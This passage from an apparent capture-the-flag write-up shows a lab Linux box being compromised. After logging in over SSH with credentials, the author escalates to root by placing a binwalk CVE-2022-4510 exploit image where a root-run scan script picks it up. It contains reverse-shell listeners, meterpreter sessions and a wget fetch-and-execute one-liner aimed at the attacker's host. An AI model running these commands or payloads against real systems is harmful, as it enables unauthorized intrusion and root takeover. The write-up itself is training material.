[+] 10.10.11.219:22 - Success: 'emily:abigchonkyboi123' 'uid=1000(emily) gid=1000(emily) groups=1000(emily) Linux pilgrimage 5.10.0-23-amd64 #1 SMP Debian 5.10.179-1 (2023-05-12) x86_64 GNU/Linux '
[*] SSH session 1 opened (10.10.14.11:44361 -> 10.10.11.219:22) at 2023-08-16 00:02:27 -0400
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Success. Now I upgrade my session to be able to use meterpreter.

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.14.11:4433 
[*] Sending stage (1017704 bytes) to 10.10.11.219
[*] Meterpreter session 2 opened (10.10.14.11:4433 -> 10.10.11.219:37268) at 2023-08-16 00:03:08 -0400
[*] Command stager progress: 100.00% (773/773 bytes)


msf6 auxiliary(scanner/ssh/ssh_login) > sessions

Active sessions
===============

  Id  Name  Type                   Information           Connection
  --  ----  ----                   -----------           ----------
  1         shell linux            SSH hax @            10.10.14.11:44361 -> 10.10.11.219:22 (10.10.11.219)
  2         meterpreter x86/linux  emily @ 10.10.11.219  10.10.14.11:4433 -> 10.10.11.219:37268 (10.10.11.219)

And now we have user.txt

msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > shell
Process 14687 created.
Channel 1 created.

whoami
emily

cat user.txt
5ed*******************47c

Privilege Escalation & Root Flag

In the course of my enumeration once inside the box as the user, I noticed some interesting related finding in linpeas focused around a file called malwarescan.sh

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ Cleaned processes
โ•š Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes

root         730  0.0  0.0   6816  2316 ?        S    04:26   0:00  _ /bin/bash /usr/sbin/malwarescan.sh

โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•ฃ .sh files in path
โ•š https://book.hacktricks.xyz/linux-hardening/privilege-escalation#script-binaries-in-path                                                                                           
/usr/sbin/malwarescan.sh                                                                                                                                                             
/usr/bin/gettext.sh

I took a look at the file in question.

cat /usr/sbin/malwarescan.sh
#!/bin/bash

blacklist=("Executable script" "Microsoft executable")

/usr/bin/inotifywait -m -e create /var/www/pilgrimage.htb/shrunk/ | while read FILE; do
        filename="/var/www/pilgrimage.htb/shrunk/$(/usr/bin/echo "$FILE" | /usr/bin/tail -n 1 | /usr/bin/sed -n -e 's/^.*CREATE //p')"
        binout="$(/usr/local/bin/binwalk -e "$filename")"
        for banned in "${blacklist[@]}"; do
                if [[ "$binout" == *"$banned"* ]]; then
                        /usr/bin/rm "$filename"
                        break
                fi
        done
done

It looks like the shell script is monitoring the /var/www/pilgrimage.htb/shrunk folder for the creation of a new file. Binwalk is being run on the file to check it against a blacklist. Identical to how I ran the imagemagick binary earlier to get the version number, I will run the binwalk binary now.

emily@pilgrimage:/usr/local/bin$ ./binwalk 

Binwalk v2.3.2
Craig Heffner, ReFirmLabs
https://github.com/ReFirmLabs/binwalk
...

Searching Exploit-DB, I found Binwalk v2.3.2 – Remote Command Execution (RCE), aka CVE-2022-4510. I downloaded the exploit file to my local machine and ran it.

โ””โ”€$ python3 51249.py /home/hax/Pictures/htp.png 10.10.14.11 4444 

################################################
------------------CVE-2022-4510----------------
################################################
--------Binwalk Remote Command Execution--------
------Binwalk 2.1.2b through 2.3.2 included-----
------------------------------------------------
################################################
----------Exploit by: Etienne Lacoche-----------
---------Contact Twitter: @electr0sm0g----------
------------------Discovered by:----------------
---------Q. Kaiser, ONEKEY Research Lab---------
---------Exploit tested on debian 11------------
################################################


You can now rename and share binwalk_exploit and start your local netcat listener.

After running the exploit, a file called “binwalk_exploit.png” is created on the attacker’s local filesystem in the same directory that the exploit file is. I upload the binwalk_exploit.png file to the remote system.

meterpreter > upload /tmp/binwalk_exploit.png /tmp/binwalk_exploit.png
[*] Uploading  : /tmp/binwalk_exploit.png -> /tmp/binwalk_exploit.png
[*] Uploaded -1.00 B of 250.89 KiB (-0.0%): /tmp/binwalk_exploit.png -> /tmp/binwalk_exploit.png
[*] Completed  : /tmp/binwalk_exploit.png -> /tmp/binwalk_exploit.png

And then I start a local netcat listener.

โ””โ”€$ nc -nvlp 4444
listening on [any] 4444 ...

I move the binwalk_exploit2 file we uploaded to the proper directory. Recall that it should be in /var/www/pilgrimage.htb/shrunk based on our reading of the malwarescan.sh file.

emily@pilgrimage:/tmp$ cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/

And in the netcat listener, we have a bite.

โ””โ”€$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.219] 51496

Because I am using metasploit, I then executed a web_delivery payload in the netcat listener window.

msf6 exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 10.10.14.11:9002 
[*] Using URL: http://10.10.14.11:9001/op2kjZ2gsQ5tv
[*] Server started.
[*] Run the following command on the target machine:
wget -qO SjEsyPzf --no-check-certificate http://10.10.14.11:9001/op2kjZ2gsQ5tv; chmod +x SjEsyPzf; ./SjEsyPzf& disown

And…

[*] 10.10.11.219     web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045348 bytes) to 10.10.11.219
[*] Meterpreter session 3 opened (10.10.14.11:9002 -> 10.10.11.219:32928) at 2023-08-16 01:03:50 -0400

msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                   Information           Connection
  --  ----  ----                   -----------           ----------
  1         shell linux            SSH hax @            10.10.14.11:44361 -> 10.10.11.219:22 (10.10.11.219)
  2         meterpreter x86/linux  emily @ 10.10.11.219  10.10.14.11:4433 -> 10.10.11.219:37268 (10.10.11.219)
  3         meterpreter x64/linux  root @ 10.10.11.219   10.10.14.11:9002 -> 10.10.11.219:32928 (10.10.11.219)

We are now root. ๐Ÿ™‚

meterpreter > shell
Process 45204 created.
Channel 1 created.

whoami
root

cat /root/root.txt
e78**************************4b1
Scroll to Top